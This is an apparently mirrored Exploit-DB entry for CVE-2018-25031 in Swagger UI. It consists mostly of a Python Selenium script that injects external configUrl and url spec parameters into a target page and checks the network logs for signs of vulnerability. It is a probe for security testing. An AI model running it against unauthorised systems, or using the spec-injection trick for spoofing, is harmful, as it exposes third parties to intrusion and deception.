[webapps] Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical I...

1 year ago

source link: https://www.exploit-db.com/exploits/51379
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information

EDB-ID:

51379

EDB Verified:

Platform:

JSON

Date:

2023-04-20

Vulnerable App:

# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
# Date: 14 April, 2023
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://swagger.io/
# Version: < 4.1.3
# CVE: CVE-2018-25031
# Site: https://rafaelcintralopes.com.br/

# Usage: python swagger-exploit.py https://[swagger-page].com

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.chrome.service import Service
import time
import json
import sys

if __name__ == "__main__":

	target = sys.argv[1]

	desired_capabilities = DesiredCapabilities.CHROME
	desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}

	options = webdriver.ChromeOptions()
	options.add_argument("--headless")
	options.add_argument("--ignore-certificate-errors")
	options.add_argument("--log-level=3")
	options.add_experimental_option("excludeSwitches", ["enable-logging"])

	# Browser webdriver path
	drive_service = Service("C:/chromedriver.exe")

	driver = webdriver.Chrome(service=drive_service,
							options=options,
							desired_capabilities=desired_capabilities)

	driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
	time.sleep(10)
	driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
	time.sleep(10)

	logs = driver.get_log("performance")

	with open("log_file.json", "w", encoding="utf-8") as f:
		f.write("[")

		for log in logs:
			log_file = json.loads(log["message"])["message"]

			if("Network.response" in log_file["method"]
					or "Network.request" in log_file["method"]
					or "Network.webSocket" in log_file["method"]):

				f.write(json.dumps(log_file)+",")
		f.write("{}]")

	driver.quit()

	json_file_path = "log_file.json"
	with open(json_file_path, "r", encoding="utf-8") as f:
		logs = json.loads(f.read())

	for log in logs:
		try:
			url = log["params"]["request"]["url"]

			if(url == "https://petstore.swagger.io/v2/hacked1.json"):
				print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")
			
			if(url == "https://petstore.swagger.io/v2/hacked2.json"):
				print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")

		except Exception as e:
			pass

Copy

Recommend